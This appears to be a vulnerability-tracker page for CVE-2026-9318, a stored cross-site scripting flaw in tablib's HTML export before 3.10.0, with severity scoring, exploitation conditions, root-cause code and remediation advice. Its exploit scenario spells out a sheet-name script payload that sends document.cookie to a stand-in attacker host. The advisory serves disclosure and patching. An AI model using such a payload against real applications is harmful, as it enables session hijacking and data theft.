Skip to main content

tablib EUVDEUVD-2026-57063

| CVE-2026-9318 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-08-12 VulnCheck GHSA-gqgw-jghv-mxwx
4.8
CVSS 4.0 · Vendor: VulnCheck
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Authenticate to target application
  2. Delivery
    Upload crafted XLSX/ODS with script payload as sheet name
  3. Exploit
    Application imports file; tablib assigns sheet name to Dataset.title
  4. Install
    Victim requests HTML export of the Databook
  5. C2
    export_book renders title unescaped inside h3 tag
  6. Execute
    Browser executes injected JavaScript
  7. Impact
    Session cookie exfiltrated or unauthorized action performed

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires all of the following: (1) the attacker must have authenticated access sufficient to supply a file (XLSX, ODS, XLS, or YAML) to the target application - the CVSS PR:L metric confirms authentication is required; (2) the application must ingest that file into a tablib Databook, assigning the malicious worksheet name to a Dataset title attribute; (3) the application must subsequently export the Databook as HTML and deliver that HTML to a different user's browser without additional server-side sanitization. Additionally, the victim user must actively open or render the exported HTML (CVSS UI:A). Applications that control all sources of imported file data (e.g., internal ETL pipelines with no external file input), that never expose HTML exports to browser clients, or that apply their own output encoding before serving HTML are not exploitable. There is no unauthenticated or default-configuration remote attack path.

Impact

The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:L/UI:A, score 4.8) accurately reflects a medium-severity stored XSS: exploitation requires authenticated access to upload or supply a crafted file (PR:L), and a separate victim must actively render the exported HTML in a browser (UI:A), which materially limits opportunistic or automated exploitation. The VC:L/VI:L ratings and SC:L/SI:L subsequent-system ratings are consistent with the realistic impact - session hijacking or forced unauthorized actions - rather than full system compromise. No CISA KEV listing exists, and no EPSS data was provided, so exploitation probability cannot be quantified; however, the PR diff and regression test confirm the vulnerability is straightforwardly reproducible. The CVSS attack complexity is correctly rated Low because no race condition or special timing is required once the file is ingested. Real-world risk is highest for web applications that accept file uploads from untrusted users and subsequently expose HTML exports to other authenticated users - a common pattern in reporting and BI tooling. Applications with controlled, trusted data pipelines that never render tablib HTML output in a browser face negligible risk regardless of version.

Exploit ScenarioDerived

An attacker with file-upload privileges submits an XLSX workbook containing a worksheet named <script>fetch('https://attacker.example/c?v='+document.cookie)</script>. When an application imports the file into a tablib Databook and an administrator or other user subsequently requests the HTML export and views it in a browser, the unescaped script tag in the h3 heading executes and exfiltrates the victim's session cookie. The PR #668 diff and its accompanying regression test confirm the exact injection point and demonstrate that the payload renders as executable HTML in versions prior to 3.10.0.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 18.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 12, 2026

Stored XSS in tablib's HTML export path before version 3.10.0 allows an authenticated attacker to inject arbitrary JavaScript via maliciously named worksheet titles sourced from imported XLSX, ODS, XLS, or YAML files. The export_book method in _html.py previously interpolated dataset titles directly into HTML h3 tags using an f-string, bypassing all escaping; script payloads assigned to the Dataset title attribute execute in a victim's browser when the exported HTML is rendered. No active exploitation confirmed in CISA KEV; vendor-released patch is available as v3.10.0.

RemediationAI

Upgrade tablib to version 3.10.0 or later, which resolves the vulnerability by using xml.etree.ElementTree for safe HTML encoding of dataset titles (see release at https://github.com/jazzband/tablib/releases/tag/v3.10.0 and the specific fix in PR #668 at https://github.com/jazzband/tablib/pull/668). If an immediate upgrade is not feasible, sanitize Dataset title values before export by applying Python's built-in html.escape() to any title derived from user-supplied file content prior to calling the HTML export method - this is a targeted, low-risk workaround with no functional trade-offs for non-HTML exports. As a structural compensating control, restrict the HTML export feature so that it is only invoked on Datasets whose titles originate from trusted internal sources, preventing attacker-controlled strings from reaching the export path entirely. Disabling HTML export at the application layer is a viable last-resort control with the trade-off of losing that reporting format. The VulnCheck advisory is available at https://www.vulncheck.com/advisories/tablib-versions-prior-to-stored-xss-via-html-export-dataset-title.

Affected VersionsENISA

Tablib 0 <3.10.0

Affected Packages

pypi tablib fix: 3.10.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in pypi

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

tablib (CPE: cpe:2.3:a:jazzband:tablib:*:*:*:*:*:*:*:*) is a Python library maintained by the jazzband community for tabular data import and export across formats including XLSX, ODS, XLS, YAML, CSV, JSON, and HTML. The root cause (CWE-79: Improper Neutralization of Input During Web Page Generation) is in src/tablib/formats/_html.py: the export_book method used a Python f-string to embed the dataset title directly between HTML tags - f'<{cls.BOOK_ENDINGS}>{title}</{cls.BOOK_ENDINGS}>' - without calling html.escape() or any equivalent. Because worksheet names in XLSX, ODS, and YAML files are user-controlled strings that tablib assigns to the Dataset.title attribute, any HTML or JavaScript placed in a sheet name flows unmodified into the HTML output. The fix in PR #668 replaces the f-string with xml.etree.ElementTree element construction, which escapes special characters automatically; the added regression test confirms <script>BOOM</script> is rendered as &lt;script&gt;BOOM&lt;/script&gt; post-fix.

Know when Tablib gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulnCheck) PRIMARY 4.8 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N
vuln.today AI 5.4 MEDIUM

Stored XSS requires authenticated file upload (PR:L), victim browser render (UI:R), and achieves a scope change (S:C) executing script in the victim's browser context with low confidentiality and integrity impact.

3.1 AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N
SUSE 6.1 MEDIUM
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Red Hat 5.4 MEDIUM

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
Active
Vulnerable system: Confidentiality
Low
Vulnerable system: Integrity
Low
Vulnerable system: Availability
None
Subsequent system: Confidentiality
Low
Subsequent system: Integrity
Low
Subsequent system: Availability
None

DescriptionCVE.org

tablib prior to 3.10.0 contains a stored cross-site scripting vulnerability in the HTML export functionality that allows attackers to execute arbitrary JavaScript by embedding malicious payloads in dataset titles, which are interpolated unsanitized into HTML output via the export_book method in the _html.py format handler. Attackers can rename worksheet sheets in imported files such as XLSX, ODS, XLS, or YAML with script payloads that are assigned to the Dataset title attribute and rendered unescaped inside an HTML h3 tag, leading to session hijacking, unauthorized administrative actions, and sensitive data exposure when the output is rendered in a browser.

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 449 pypi packages depend on tablib (135 direct, 320 indirect)

Ecosystem-wide dependent count for version 3.10.0.

Threat Intelligence Overview

EPSS Score
18.0%
Prevalence
Medium
popular Python data-wrangling library used across web and data-pipeline projects
Threat Intel
1
1 sources
Exploit
POC
Public exploit code exists
Social Media
1
Sightings
Data Quality
8 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA Vendor CIRCL GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC Yes
EPSS 18.0%
Patch available Yes
Active threat Yes
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

62
Low Medium High Critical
KEV: 0
EPSS: +18
CVSS: +24
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

Information disclosure occurs when an application unintentionally exposes sensitive data that aids attackers in reconnaissance or directly compromises security.

Vendor StatusVendor

SUSE

Severity: Moderate
Product Status
SUSE Linux Enterprise High Performance Computing 12 Affected
SUSE Linux Enterprise Module for Public Cloud 12 Affected
SUSE Linux Enterprise Server 12 SP5 Affected
SUSE Linux Enterprise Server for SAP Applications 12 SP5 Affected
SUSE Linux Enterprise Server 12 Affected

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy